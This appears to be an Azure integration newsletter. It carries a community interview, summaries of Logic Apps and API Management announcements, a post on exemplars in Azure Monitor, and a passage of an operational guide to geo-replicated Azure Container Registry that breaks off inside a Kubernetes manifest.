Integration is one of those disciplines where you're constantly connecting systems, teams, and ideas. What motivates me is seeing how members of our community across different companies and countries solve similar problems in completely different ways. The Aviators community has that right mix of deep technical knowledge and willingness to help each other out. Since discovering Integration and the Microsoft community, I basically never left.

Looking back, what advice do you wish you had been given earlier?

Document everything and treat documentation as a deliverable, not an afterthought.
Early in my career I saw documentation as the boring part that you do after the development work.
Now I see it as the leverage point. A well-written design document doesn't just help the next person understand what you built, it compounds. It feeds code generation, easier onboarding of new members and validation with your customers on what and how to build it.

What has helped you grow professionally?

Two things:
1) Always challenge yourself and your implementations; everything can be better, so I am always pushing myself to keep learning, stay up to date, and think about every idea/solution posted in this community—how it could improve my way of thinking or solutions that I am building/have built.
2) Focus on understanding the integration concepts and patterns. At the end of the day everything is a pattern; it is how you implement where we make the difference. So knowing the base layer itself helps a lot when building integration solutions.

If you had a magic wand that could create a feature in Logic Apps, what would it be?

To be able to control scaling of the workflow service plans more fine grained. Being able to control this would unlock a lot of use cases, especially for the combination of Logic Apps and Service Bus concurrency and throughput.

News from our product group

Write Logic Apps in C#: introducing the Logic Apps Standard SDK

This article introduces the Logic Apps Standard SDK (Microsoft.Azure.Workflows.Sdk), a code-first way to define Logic Apps Standard workflows in C#. Developers compose workflows using a fluent builder with strongly typed triggers and actions, including both built-in and managed connector operations. The SDK preserves the existing runtime, connectors, monitoring, and run history while changing only the authoring experience. It supports control flow constructs, custom C# code steps, and run-after conditions for fault handling. Guidance covers getting started in VS Code, project layout, local F5 execution, and preview limitations such as no service provider connectors and work-in-progress managed identity support.

New AI gateway capabilities in Azure API Management

Azure API Management expands its AI gateway with a Unified Model API (preview) that lets clients use a single OpenAI-style format across providers, plus model aliases and discovery. GA updates include support for Anthropic and Google Vertex AI and content safety for MCP and Agent-to-Agent (A2A) traffic. Token observability now tracks cached, reasoning, and thinking tokens in Application Insights. Foundry import adds Anthropic API operations. A2A APIs reach GA with richer diagnostics and availability in classic tiers. Together, these features standardize governance, security, and observability for multi-model, multi-protocol AI applications.

🎉 Automation just became a team sport. Meet Azure Logic Apps Automation.

Azure Logic Apps Automation (public preview) is a new SKU that delivers a managed, SaaS-like experience for building and running workflow automations. It keeps the enterprise-grade Logic Apps engine while simplifying onboarding, collaboration, and governance with projects and applications, flexible permissions, and policy inheritance. The experience is AI-native with natural language authoring, first-class agents, tools via MCP, and managed sandboxes. It introduces a modern designer, draft mode, live run history, JavaScript expressions, elastic scale to zero, and knowledge-as-a-service integration—aimed at helping teams prototype quickly and operate securely at scale.

📢 Announcing Knowledge as a Service for Azure Logic Apps

Knowledge as a Service (public preview) provides a managed knowledge layer for Logic Apps that turns documents into a ready-to-use knowledge base without building a custom RAG pipeline. The service handles ingestion (parsing, chunking, embeddings) and retrieval (query rewriting, semantic search, ranking) and integrates with agentic workflows in Logic Apps Standard and the Automation SKU. On Standard, teams bring their own vector store and models; on Automation, the platform hosts them on behalf of the user. It supports Entra authentication and focuses on secure, grounded responses for agents and workflows.

Better Together: Build Agents in Microsoft Foundry, Automate them with Azure Logic Apps

This post outlines a combined stack for agentic applications: Microsoft Foundry for building and hosting agents, and Azure Logic Apps for invoking and orchestrating them. New capabilities let teams create or select Foundry agents directly from the Logic Apps designer, pair any trigger with an agent for autonomous execution, and expose 1,400+ Logic Apps connectors and entire workflows as agent tools. The approach enables agents to act across systems, handle long-running processes, and integrate with enterprise events, making deterministic workflows and AI-driven reasoning work together in production.

What's new in Azure API Management at Microsoft Build 2026

This roundup covers Build 2026 updates for API Management and API Center: GA for agent registration, assessment, and Git sync in API Center, plus a data plane MCP server for enterprise discovery. API Management adds GA support for JSON‑RPC agent‑to‑agent (A2A) APIs and extends content safety controls to MCP and A2A flows. Unified Model API enters preview to standardize client integration across model providers, and AI Gateway expands to Anthropic and Vertex AI with broader token metrics. Platform enhancements include multi‑domain and wildcard custom hostnames in v2 tiers and workspace support on the built‑in gateway.

Azure Connector Namespaces: managed integration for any Azure compute

Azure Connector Namespace (preview) offers a fully managed integration layer that brings the Logic Apps connector ecosystem to any Azure or self‑hosted compute without requiring a workflow engine. Apps call strongly typed SDKs for C#, Node.js, or Python to invoke actions and subscribe to triggers, while the namespace handles auth, token rotation, retries, throttling, and webhook delivery. It also projects connectors as MCP servers for agents, and supports hosted MCP servers like Playwright and Azure SQL. The post details building blocks, scenarios, security, governance, and preview limitations.

What's new in Azure Logic Apps at Microsoft Build 2026

This Build 2026 overview highlights Logic Apps Automation (public preview), GA for the Logic Apps MCP Server to expose workflows as MCP tools, direct invocation of Microsoft Foundry agents from Logic Apps, Knowledge as a Service, and code‑first development with the Logic Apps Standard SDK (Codeful Workflows). It also introduces a Migration Agent to help modernize from legacy platforms. The theme is making enterprise‑grade automation more accessible while preserving governance, reliability, and operational controls for production use.

Hosted MCP Servers in Connector Namespace (Preview)

Hosted MCP servers in Connector Namespace let teams deploy managed, enterprise‑ready MCP servers from a curated catalog in minutes. The platform handles deployment, scaling, authentication (inbound with Entra ID, outbound with managed identity or on‑behalf‑of), availability, and observability via Application Insights. Preview servers include Playwright for browser automation and Azure SQL via Data API Builder, enabling agents to use reliable tools without the overhead of self‑hosting. The post explains setup, benefits over self‑hosted servers, and areas of ongoing investment like catalog expansion and VNet support.

MCP Test Console and Git Repository synch in Azure API Center

Azure API Center adds a built‑in MCP Test Console in the developer portal and Git repository synchronization for MCP servers and other assets. Developers can validate MCP tools interactively on the Documentation tab and browse server tiles with endpoints and schemas. Git sync keeps the API Center inventory aligned with source‑controlled definitions, with secure access via Key Vault and managed identity. Together, these additions streamline discovery, testing, and governance of MCP assets across the enterprise.

Bringing all your Integration workloads to Logic Apps Standard

This post outlines Microsoft’s guided path for moving enterprise integration workloads—especially BizTalk—to Azure Logic Apps Standard. It introduces the open-source Logic Apps Migration Agent, which delivers an AI‑assisted, stage‑gated process across discovery, planning, baseline conversion, and continuous validation with human‑in‑the‑loop checkpoints. The workflow integrates with VS Code and GitHub Copilot, supports incremental “flow‑group” migration, and accommodates existing black‑box tests. The article also previews mission‑critical capabilities arriving for Standard and Hybrid (HL7, MLLP, Rules Engine, MSMQ, Oracle DB, flat‑file generation, Integration Accounts, and more), giving teams a repeatable, auditable modernization path with reduced risk.

Announcing Microsoft Host Integration Server 2028: Modern connectivity for IBM Mainframes Midranges

Host Integration Server 2028 (HIS 2028) is the next HIS release, delivered as a standalone SKU decoupled from BizTalk. It modernizes platform foundations (.NET 10) and, for non‑SNA features, introduces Linux support. New investments include Foundry integration for agent scenarios, REST APIs for DB2 and Transaction Integrator workloads, Entra ID and Azure Arc for hybrid management, a move to Visual Studio Code for designers, and alignment with newer IBM middleware. The post also lists product cleanup and deprecations (e.g., 32‑bit, WMI/WCF, BizTalk adapters), helping enterprises secure, govern, and operate host connectivity for years ahead.

Easy Auth Configuration for Logic App Standard through CI/CD

Enabling App Service Easy Auth on Logic Apps Standard can break run‑history views because SAS‑based runtime calls are blocked before the Logic Apps engine can validate them. This article explains two remedies: allow unauthenticated requests (so the runtime enforces its own auth), or keep Easy Auth strict and exclude runtime endpoints (e.g., /runtime/*) using authsettingsV2. It provides CI/CD‑ready approaches via ARM/Bicep templates or a post‑deployment REST API call, and highlights key settings such as requireAuthentication, unauthenticatedClientAction, excludedPaths, and allowedApplications. The guidance restores run‑history usability while maintaining enterprise authentication policies.

Run Javascript code on Agent Loop

Azure Logic Apps Agent Loop now supports a JavaScript code interpreter, extending earlier code‑execution support and enabling reliable computations, validations, and transformations alongside LLMs. The runtime executes generated or pre‑written code inside a V8 isolate using the isolated‑vm library, providing memory limits, timeouts, and failure isolation (not a full sandbox) to reduce blast radius. A worked example shows expense‑validation with agent tools orchestrated in a workflow. For Consumption, attaching an Integration Account provides isolated compute for the interpreter. The capability helps teams combine deterministic steps with agentic reasoning to deliver robust, auditable outcomes.

Bulk-configure diagnostic settings on Azure Logic Apps Consumptions

LA‑BulkDiag is a single‑file PowerShell script that bulk‑applies diagnostic settings across Logic Apps Consumption in a resource group. It inventories workflows, supports quick scopes (bare/all/pick), verifies destinations, auto‑renames on name collisions, and ships with 129 Pester tests. Presets cover logs, metrics, and workflow‑runtime categories; selection grammar enables non‑interactive runs suitable for CI. The post includes quick‑start commands and clarifies scope: it targets Consumption only (not Standard) and doesn’t configure Event Hub sinks. The result is faster, consistent observability at scale without repetitive portal clicks or accidental overwrites.

Clean up idle and always-failing Azure Logic App Consumption

LA‑CleanUp is a PowerShell utility that scans a subscription for Logic Apps Consumption workflows, classifying them as Idle (no runs in N days) or AlwaysFailing (runs in the window with zero successes). It can export candidates to CSV, then guide per‑item deletion with y/N/q prompts, reporting final counts. Under the hood, it uses OData filters and $top=1 queries for fast server‑side checks, caches an ARM token once, and intentionally avoids cross‑subscription operations. Scope notes: it doesn’t touch Standard workflows or API connections. The tool reduces noise, costs, and operational drag from abandoned or broken apps.

News from our community

Spec2Integration

Post by Balbir Singh

Spec2Integration proposes a spec-driven approach to building Azure Integration Services solutions. The open-source toolkit guides teams from a product brief through specification, modeling, contracts, mapping, and architecture to a deployable implementation targeting Azure Logic Apps, Functions, and related services. It includes governance gates for idempotency, observability, retries, and PII handling, plus a VS Code extension that visualizes pipeline status and the integration representation. Templates and tooling support greenfield projects and BizTalk migrations. The result aims to standardize repeatable steps, reduce failure modes, and accelerate delivery while keeping architectural control outside individual workflows.

Stateful Orchestration in Azure: When Logic Apps Break, and What to Do Instead

Post by Al Ghoniem, MBA

This article examines where stateful orchestration with Azure Logic Apps can fall short and how to design around those gaps. It differentiates execution state from business state and highlights common failure modes: long-running instances, retry-induced duplicates, partial completion across SAP/Oracle/APIs, lost correlation, and unowned DLQs. It then contrasts orchestration choices—stateful Logic Apps, Durable Functions, Service Bus–backed orchestration, and choreography—emphasizing idempotency, correlation, reconciliation, and compensation. The guidance steers architects toward a control and observability layer so production incidents can be traced, replayed, and recovered without relying on workflow run history alone.

Logic Apps Announcements at Microsoft Build

Video by Sebastian Meyer

This video recaps Logic Apps announcements from Microsoft Build with insights from a member of the product team. It highlights newly introduced capabilities and shares resources for deeper dives. Viewers get a concise overview of what’s new, why it matters for integration practitioners, and where to learn more. The discussion points architects toward practical use cases and next steps, making it a useful primer for anyone assessing roadmap impacts on existing or upcoming Azure Integration Services projects.

Logic Apps Standard vs. Consumption: Which Plan Should You Choose?

Post by Chiranjib Ghatak

The article compares Logic Apps Standard and Consumption, explaining differences in hosting models, pricing, networking, and development experience. It outlines when to pick each plan, noting Standard’s single-tenant model, VNet/private endpoints, built-in connectors, and local DevOps workflow, versus Consumption’s pay-per-execution model and simplicity for sporadic or low-volume workloads. It also covers performance trade-offs, stateful vs. stateless options available in Standard, and typical enterprise scenarios where Standard provides predictable costs and better throughput.

Azure Connector Namespaces: Managed Connectors Beyond Logic Apps

Post by Şahin Özdemir

This post introduces Azure Connector Namespaces and previews managed connectors for Azure Functions, extending the Logic Apps connector ecosystem to more compute services. It explains the motivation, how namespaces decouple connectors from workflows, and the benefits: reduced custom code, consistent authentication via managed identity, and reuse of Microsoft-managed integrations. A step-by-step walkthrough shows creating a namespace, adding a managed connector, and using the Azure Connectors .NET SDK in Functions, illustrating how teams can standardize connectivity while keeping business logic in code.

Stop working harder and start flowing smarter, with Logic Apps Automation

Post by Sonny Gillissen

Sonny Gillissen explores Logic Apps Automation, a new, governed experience for building enterprise automations. He explains the Project → Application → Workflow model, dedicated portal (auto.azure.com), and reusable Sandboxes for agent code. The post shows how the AI assistant can scaffold workflows from intent, with Knowledge sources to ground agents, while monitoring and analytics provide visibility. Benefits include familiar Logic Apps design, reduced operational overhead, and scale-to-zero. Current gaps are noted—OBO auth shift, occasional assistant syntax issues, managed vs. built‑in connector choices, no migration tooling yet, and pending VNet/private endpoint support.

Stop Using Static Filters! Automate DIXF Exports with Logic App

Post by Anitha Eswaran

Anitha Eswaran demonstrates how to make DIXF exports in D365FO dynamic using Azure Logic Apps and a small X++ customization. A custom OData action updates the DIXF Definition Group filter at runtime based on a parameter such as Customer Group. A Logic App triggered by a business event parses the input, stores the value, calls the OData action, invokes the standard ExportToPackage API, and then retrieves the download URL via GetExportedPackageUrl to fetch the ZIP with a time‑limited SAS token. Screenshots and code samples illustrate the end‑to‑end flow and implementation details.

Logic Apps Agent Loops: Master Class

Video by Stephen W Thomas

Stephen W Thomas compiles his full Logic Apps Agent Loop series into one master‑class video. It covers getting started with Agent Loop on Logic Apps Standard, a human‑in‑the‑loop pattern used to resolve failed code translations, interactive chat agents with secure website embedding via Easy Auth, and when to choose the Consumption tier for simpler, pay‑as‑you‑go deployments. The chaptered format lets viewers jump to relevant topics. The emphasis is on the orchestration pattern—agents that select and compose tools to achieve goals—offering a practical foundation for teams moving from deterministic workflows toward agentic automation.

Forget Sampling — This One host.json Setting Cuts Logic Apps Telemetry Costs by 80%

Post by Daniel Jonathan

This article tackles high Application Insights ingestion costs in Logic Apps Standard and shows a data‑driven path to reduce spend. Through a controlled experiment, it demonstrates that switching Runtime.ApplicationInsightTelemetryVersion to v2 in host.json delivers ~80% reduction without sacrificing troubleshooting. Further options include disabling dependency tracking (eliminates AppDependencies with the trade‑off of losing per‑call HTTP detail) and using adaptive sampling for marginal additional savings, while excluding exceptions. It also explains why some run‑level telemetry bypasses sampling and how to toggle sampling via an environment variable for short‑term diagnostics.

Production Is the Only Truth in Integration

Post by Marcelo Gomes

This piece reframes integration success through a production‑first lens. It argues that reliability emerges when systems are designed for failure as the norm, not the exception. The article urges separating orchestration from business logic—using tools like Azure Logic Apps for coordination and Azure Functions for rules and transformations—to keep retries safe and evolution predictable. It positions production‑readiness as a design concern, emphasizing idempotency, replay, observability, runbooks, and ownership. The practical outcome is reduced operational risk and cost, more predictable behavior, and greater business trust in automated processes.

DevUP Talks #05 – Logic Apps Tips & Tricks with Sandro Pereira

Video by Mattias Lögdberg

In this session, Sandro Pereira distills practical guidance from real projects to help teams build more resilient Logic Apps. Topics include applying environment‑specific timer conditions, deploying Logic Apps in a disabled state to control activation during releases, and using User‑Managed Identity with Azure Service Bus in Logic Apps Standard. The video focuses on patterns that improve reliability, security, and operational control across environments, offering actionable advice for developers and architects working in Azure Integration Services who want fewer surprises in production and a smoother deployment lifecycle.

Logic Apps: Service Bus with User‑Assigned Managed Identity

Post by Sandro Pereira

This best‑practices guide shows how to configure the Azure Service Bus connector in Logic Apps Standard to use a user‑assigned managed identity. Sandro Pereira explains why system‑assigned identities complicate CI/CD—RBAC can’t be fully declared until the identity exists—then demonstrates a pattern that keeps deployments reproducible. The approach uses app settings for the Service Bus namespace and identity resource ID, a custom serviceProviderConnections entry referencing those settings, and workflow actions bound to that connection. The result is secretless, declarative authentication that avoids RBAC timing issues across environments.

Logic App Consumption Bulk Failed Runs Resubmit Tool

Post by Sandro Pereira

Sandro Pereira introduces a small .NET Windows utility that lists and bulk resubmits failed Logic Apps Consumption runs. After authenticating to Azure, users supply the Logic App name, resource group and subscription. The tool can optionally filter by a date range, otherwise it returns up to 250 failed runs for fast triage. It targets a common pain point the portal features don’t fully streamline and includes a link to the GitHub source so teams can adapt or integrate it into operational workflows. A concise “one‑minute brief” outlines the problem and practical benefits.

Control the Initial State of Logic Apps Standard Workflows

Post by Sandro Pereira

This tip explains how to prevent Logic Apps Standard workflows from starting immediately after deployment—a common production risk. Instead of a state property in ARM/Bicep, the initial state is controlled via App Settings on the underlying App Service. By setting Workflows..FlowState to Disabled (in local.settings.json and/or app settings), teams ensure workflows deploy in a safe, non‑running state. The article outlines the rationale, differences from Consumption, and provides concrete examples and screenshots to adopt the practice across environments.

Connect Metrics to Traces with Exemplars in Azure Monitor

sunayanasingh — Mon, 08 Jun 2026 17:21:43 GMT

Following Microsoft’s recent GA announcement for OpenTelemetry (OTel) support, we are excited to announce support for Exemplars for customers instrumenting metrics with Prometheus or OpenTelemetry and traces using OpenTelemetry, enhancing Azure Monitor’s integrated observability experience for cloud-native applications.

Modern cloud-native applications generate enormous volumes of telemetry. Metrics help teams detect that something is wrong, but traces explain why. Exemplars bridge these two worlds by attaching trace references directly to metric data points, making it dramatically easier to pivot from a spike in latency or errors to the exact distributed trace responsible for the issue.

With Azure Monitor, customers can now ingest metrics with exemplars and visualize them in Azure Managed Grafana. This enables seamless correlation between metrics and traces, helping engineering teams troubleshoot issues faster and reduce mean time to resolution (MTTR).

Why Exemplars Matter

Traditional monitoring workflows often require users to manually correlate data across multiple systems. Exemplars simplify this workflow by embedding trace context directly into metric samples. For example, if a latency metric spikes at a specific timestamp, the exemplar associated with that data point can link directly to the distributed trace responsible for the outlier.

This provides several benefits:

Faster root cause analysis
Quicker transition from aggregate metrics to request-level details
Simplified debugging workflows for SRE and platform teams
Better observability experiences for microservices and distributed applications

Unified Observability with Azure Monitor

With Azure Monitor and Azure Managed Grafana, you can now:

Ingest OTLP or Prometheus metrics with exemplars into Azure Monitor Workspace
Store and analyze traces in Azure Monitor Application Insights
Visualize exemplar markers directly in Grafana charts
Navigate from a metric spike to the exact distributed trace associated with that data point

By combining these signals in a single observability platform, organizations can correlate infrastructure health, application behavior, and request traces without context switching between tooling.

How It Works

Once metrics, exemplars, and traces are ingested into Azure Monitor, Azure Managed Grafana can consume exemplar information from the configured Prometheus data source. When exemplars are enabled in Grafana dashboards, users will see markers associated with individual metric data points. Selecting an exemplar opens the associated trace in Azure Monitor, providing end-to-end diagnostic context.

Getting Started

Setup data ingestion:

Instrument your application to emit OpenTelemetry traces, OpenTelemetry or Prometheus metrics with exemplars, and enable ingestion of the same to Azure Monitor using OpenTelemetry Collector. Follow the instructions in Ingest OTLP Data into Azure Monitor with OTel Collector - Azure Monitor | Microsoft Learn. After this step, you will have the Log Analytics Workspace, Azure Monitor Workspace and Application Insights resources all set up to store the telemetry data.
Create an Azure Managed Grafana instance and connect it with the Azure Monitor Workspace by navigating to your Azure Monitor Workspace in the Azure portal and then clicking on “Linked Grafana workspaces”. To learn more, see Manage an Azure Monitor workspace - Azure Monitor | Microsoft Learn
Optionally, enable Azure Managed Prometheus on your AKS cluster or use remote-write and configure it to use the same Azure Monitor Workspace to centralize infrastructure and application metrics.

Enable Exemplars in Azure Managed Grafana:

After setting up the data ingestion, ensure that logs and traces are flowing into Log Analytics Workspace, and metrics are flowing into Azure Monitor Workspace.

Step 1: Enable Exemplars on Prometheus Data Source in Azure Managed Grafana

Navigate to Connections -> Data Sources in Azure Managed Grafana. Since you have connected Azure Managed Grafana to Azure Monitor Workspace, you will see the data source (Managed_Prometheus_<AMW-Name>) already configured. If the data source is not configured, follow the steps here to add your Azure Monitor Workspace as a data source.
Open the data source configuration.
Click Add Exemplars to enable exemplar support.

Step 2: Configure Trace Linking with Azure Monitor

In the exemplar configuration section, toggle Internal Link to On.
Select Azure Monitor as the data source.
In the Label Name, enter the name of the field in the labels object that should be used to get the trace id, eg. trace_id.
Click Save & Test.

This configuration enables direct navigation from exemplar markers in Grafana charts to the associated traces stored in Azure Monitor. Azure Managed Grafana also supports trace correlation from other solutions like Jaeger etc. To use your trace solution, use the appropriate links.

Step 3: Enable Exemplars in Dashboards

Navigate to a Grafana dashboard that uses your configured Prometheus data source.
Open the panel options for a metrics chart.
Toggle Exemplars to On.

Once enabled, exemplar markers will appear on supported metric visualizations. Clicking on it will show exemplar details along with an option to open the corresponding distributed trace in Azure Monitor.

To learn more, visit https://aka.ms/azmon-exemplars

Designing for High Availability: The Operational Reference for Running a Geo-Replicated ACR

johnsonshi_msft — Mon, 08 Jun 2026 18:07:21 GMT

By Johnson Shi, Zoey (Zhuyu) Li, Huangli Wu

Introduction

Three of the most common questions we hear from enterprise teams running geo-replicated Azure Container Registries (ACR) are:

"How do I control which region serves my traffic?" — When my AKS clusters are spread across regions, can I pin each one to its co-located replica, or am I stuck with however the global endpoint routes?
"What happens during a regional incident — is failover automatic or do I have to act?" — If the registry in one region degrades, does the global endpoint reroute on its own, or do I need to manually disable the affected replica?
"What happens after the region recovers — does traffic return on its own?" — Is there a cooldown, a quarantine, or any manual step before failback?

We answer those head-on, then go deeper on the operational details that come up when you actually run a geo-replicated registry: authentication across endpoint switches, throttling under load concentration, eventual-consistency failure modes, home region outage scope, webhooks, and private endpoint interaction. We draw on the official geo-replication docs, the global endpoint health-aware failover blog, the regional endpoints engineering design implementation, the regional endpoints public preview and private preview announcements, and the ACR reference for various registry endpoints, . This post also draws notes from the ACR product team on roadmap items that aren't yet documented elsewhere.

Key Takeaways

Health-aware failover is automatic. When the registry in a region degrades, the global endpoint reroutes away from it on the order of minutes, evaluated per-registry. No customer action required.
Failback is automatic too. Once health-aware failover marks a region healthy again, the global endpoint resumes routing to it. There is no cooldown period.
Health-aware failover applies only to global endpoint operations. It does not apply to regional endpoints (you're talking to one replica, period) or to dedicated data endpoints (the redirect is per-region).
Health-aware failover is not triggered by throttling. It responds to regional ACR service health and Azure infrastructure health, not HTTP 429 responses. Use regional endpoints to manage per-replica throttling.
Regional endpoints (Step 2a) give you explicit per-region URLs for workloads that need affinity, capacity planning, push/pull consistency, troubleshooting, or client-side failover. Use myregistry.<region>.geo.azurecr.io. Regional endpoints are available on Premium SKU registries.
For workloads that don't need pinning, do nothing (Step 2b). The global endpoint plus health-aware failover handles routing automatically.
Re-authenticate when switching endpoints. Each global or regional endpoint is its own authenticated surface; re-auth via az acr login, SDK auth, or the Kubernetes ACR credential provider on endpoint change.
Don't run a long-lived DNS cache for the global endpoint. ACR purges DNS server-side on disable and during failover; a long-lived client cache works against that.
For production workloads, enable dedicated data endpoints for security and DNS predictability on layer downloads.
ACR is working on bounded staleness consistency for cross-replica eventual-consistency failure modes; see the FAQ.

Background

What is ACR geo-replication?

Geo-replication is a Premium SKU feature that turns a single ACR registry into a multi-region, multi-write service. Every geo-replica in every region is writable — you can push, pull, and delete from any of them — and content syncs asynchronously between replicas under an eventual consistency model. Per-push replication time scales with the size and number of images being pushed. Similarly, when creating a new geo-replica, the time to populate the new geo-replica scales with the total size of the registry.

A geo-replicated registry exposes a global endpoint at myregistry.azurecr.io. Behind that endpoint, ACR uses an internal traffic manager to direct each request to the replica with the best network performance profile for the caller — usually the closest replica, but not always. When clients are equidistant from multiple replicas, or when the closest replica is experiencing Azure infrastructure degradation, requests may be routed elsewhere. A geo-replicated registry also exposes a regional endpoint at myregistry.<region>.geo.azurecr.io, which allows clients to pin API requests to a specific geo-replica in lieu of global endpoints, which has Azure-managed routing among geo-replicas.

Zone redundancy is always enabled for geo-replicas in regions where Azure has multiple availability zones — in those regions, ACR automatically spreads replica data across multiple availability zones within each region to protect against zonal outages.

Endpoints and data endpoints: what goes where

A common point of confusion: when you push or pull, not every request goes to the same place. The registry endpoints (global endpoint and regional endpoints), as well as the data endpoint, do different jobs. Your choice of data endpoint configuration has real consequences for security and resilience.

Two kinds of traffic flow during a typical pull:

Registry API traffic — authentication, manifest reads/writes, tag resolution, referrers, repository operations, blob location lookups, listing, metadata. This is everything except the actual layer (blob) bytes. All these API requests go to the global endpoint (myregistry.azurecr.io) or, if you've pinned your clients to call these APIs to a specific geo-replica, a geo-replica's regional endpoint (myregistry.<region>.geo.azurecr.io). Behind the scenes, the global endpoint internally proxies these requests to a specific geo-replica.
Layer (blob) downloads — when the client asks for a blob, the registry doesn't serve the bytes itself. It returns an HTTP 307 redirect to a regional data endpoint (separate endpoint from the global endpoint or regional endpoints), and the client follows the redirect to download the layer from that region.

Where that 307 sends you depends on whether you've enabled the registry's dedicated data endpoints feature:

Configuration	Layer downloads redirect to
Default (no dedicated data endpoints)	`*.blob.core.windows.net` (the underlying Azure storage account)
Dedicated data endpoints enabled	`myregistry.<region>.data.azurecr.io` for the region you were routed to
Private endpoints enabled	`myregistry.<region>.data.azurecr.io` for the region you were routed to

Regional by design. Dedicated data endpoints always land you on a specific geo-replica's data endpoint — there is no "global data endpoint." With the global endpoint as your registry endpoint, the 307 redirect picks the data endpoint for whichever region the global endpoint chose to serve you. With a regional endpoint pinned to a specific region, the 307 always redirects you to that same region's data endpoint — never cross-region.

Why dedicated data endpoints matter. Dedicated data endpoints are a Premium SKU feature that exists primarily to address security and firewall scoping. By default, layer downloads redirect to *.blob.core.windows.net — a wildcard storage FQDN. Firewall rules to allow that wildcard either let all Azure storage accounts through or none of them, which raises data exfiltration concerns and isn't tightly scoped to your registry. Dedicated data endpoints replace the wildcard with a fully qualified domain in your registry's own domain — myregistry.<region>.data.azurecr.io — so firewall rules can be scoped tightly to your specific registry, in your specific regions.

That same design choice can also make layer downloads more predictable during routing changes. With dedicated data endpoints, the data endpoint FQDN is known ahead of time and lives in the registry's domain — one predictable hostname per region, configured once. Without them, the layer download has to resolve a wildcard storage FQDN that points to whichever storage account the registry happens to have provisioned, which is a separate DNS resolution path with its own routing behavior and its own caching profile. Dedicated data endpoints simplify the DNS picture by aligning the data path with the registry path and keeping the entire pull experience inside one set of predictable, scoped FQDNs.

For any geo-replicated registry where security and high availability matter, enable dedicated data endpoints.

Note: Health-aware failover applies only to operations against the global endpoint, not to regional endpoints or dedicated data endpoints. Take note that health-aware failover only kicks in and directs traffic away from a geo-replica when an Azure region is experiencing significant infrastructure degradation. At this stage, it does not kick in to redirect traffic to another geo-replica if a client's data plane API requests are throttled. See the relevant section below for the full scope when health-aware auto failover kicks in or not.

The three traffic control tools

ACR geo-replication gives you three complementary tools for controlling where traffic lands. Each one solves a different class of problem, and customers most often run into trouble when they reach for the wrong one. We name them up front and use these names throughout the post:

Tool	Who controls it	What it does	Use cases
Health-aware failover	Platform (automatic)	Reroutes the global endpoint away from a region whose registry can't reliably serve requests	Regional incidents, automatic recovery
Replica enable/disable for global routing	Customer (manual)	Excludes a specific replica from global endpoint routing without deleting it; data continues syncing	DR rehearsals, planned maintenance, quarantining a replica without losing it
Regional endpoints	Customer (per request)	Dedicated per-region URLs (`myregistry.<region>.geo.azurecr.io`) that bypass the internal traffic manager entirely	Pinning AKS clusters to co-located replicas, push/pull consistency, capacity planning, troubleshooting, client-side failover

Health-aware failover and replica enable/disable both act on the global endpoint. Regional endpoints are a separate URL surface that coexists with the global endpoint — enabling them does not disable the global endpoint myregistry.azurecr.io. You can use both simultaneously and choose per workload.

The behavior in question

When the registry in one region experiences a real degradation, there are three possible answers to "what happens?":

(A) Nothing automatic. The customer must manually disable the affected region's endpoint to stop traffic from being routed there.
(B) The system detects the regional front-door failure and reroutes within seconds.
(C) A per-registry health evaluation detects the degradation and reroutes the global endpoint within minutes, with no customer action. After the region recovers, routing resumes automatically.

The answer today is (C). Before health-aware failover, customers were stuck closer to (A) — the system could see whether the regional reverse proxy responded, but not whether the registry could actually serve real pull and push traffic end to end. Health-aware failover closes that gap.

We walk through all three tools in the next section, in order: setting up geo-replication, using regional endpoints to pin specific workloads, keeping the global endpoint for everything else, the manual replica disable mechanism, re-enabling participation in global routing, and what to expect when health-aware failover triggers.

Walkthrough

The following steps assume an existing Premium SKU registry and the Azure CLI logged in. We use myregistry as the registry name, myrg as the resource group, and eastus as the home region. Substitute <your-registry>, <your-rg>, and <your-region> for your environment.

Prerequisites

A Premium SKU ACR registry (geo-replication requires Premium)
Azure CLI (az) installed and logged in
For regional endpoints (Step 2a): Azure CLI 2.86.0 or later. All regional endpoints commands (--regional-endpoints, az acr show-endpoints, az acr login --endpoint) are available natively in Azure CLI 2.86.0+. If you previously installed the acrregionalendpoint private preview CLI extension, uninstall it with az extension remove --name acrregionalendpoint to prevent conflicts with the built-in CLI commands.

Step 1: Add a West US replica to a registry that lives in East US

Geo-replication requires the Premium SKU. The create call below fails on Basic or Standard.

# Confirm the registry is Premium
az acr show --name myregistry --resource-group myrg \
  --query sku.name --output tsv
# Premium

# Create a West US geo-replica
az acr replication create --registry myregistry --location westus

# Confirm both replicas are present
az acr replication list --registry myregistry --output table

NAME    LOCATION    PROVISIONING STATE    STATUS    REGION ENDPOINT ENABLED
------  ----------  --------------------  --------  -----------------------
eastus  eastus      Succeeded             online    True
westus  westus      Succeeded             online    True

Pushes and pulls continue working through the existing replica throughout initial sync. Because the registry is multi-region, multi-write, the existing replica keeps serving traffic while the new replica catches up in the background. Initial replica seeding time is a function of registry size — the total number and cumulative size of images already in the registry that need to be replicated to the new replica — not the size of any single image.

Step 2a: Pin workloads to specific regions using regional endpoints

Use regional endpoints when a workload needs explicit per-region control. The five common cases:

Regional affinity — an AKS cluster in East US should pull from the East US replica, every time, without ever hopping to a more distant replica because of a network performance fluctuation.
Predictable routing — workloads that need to know exactly which replica will serve them, for benchmarking, capacity planning, or in-region traffic SLAs.
Push/pull consistency — pinning both ends of a publish-then-deploy flow to the same replica eliminates eventual-consistency races.
Troubleshooting — reproducing an issue on a specific replica requires sending traffic to that specific replica.
Client-side failover — customers with their own health checks and business rules want to implement failover on their own terms, on signals only they can see.

Enable regional endpoints on the registry:

az acr update -n myregistry -g myrg --regional-endpoints enabled

When enabled, ACR automatically creates per-region login server URLs for every existing geo-replica. No per-region configuration is needed.

Note: Regional endpoints can be enabled on any Premium SKU registry, even without geo-replication. A registry without geo-replication has a single geo-replica in the home region, which gets one regional endpoint URL. However, the feature is most useful when your registry has at least two geo-replicas, where you can pin different workloads to different replicas for routing control and capacity distribution.

Push to a specific region using its regional endpoint:

# Log in to the West US regional endpoint
az acr login --name myregistry --endpoint westus

# Tag and push using the regional endpoint URL
docker tag myapp:v1 myregistry.westus.geo.azurecr.io/myapp:v1
docker push myregistry.westus.geo.azurecr.io/myapp:v1

Pin AKS deployments to their co-located replica by using regional endpoint URLs in the deployment manifest. The example below shows two clusters in different regions; each cluster references the regional endpoint for its own region's replica (assuming replicas exist in both eastus and westeurope):

# East US-based AKS cluster pulls from the East US replica
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp-eastus
spec:
  template:
    spec:
      containers:
        - name: myapp
          image: myregistry.eastus.geo.azurecr.io/myapp:v1
---
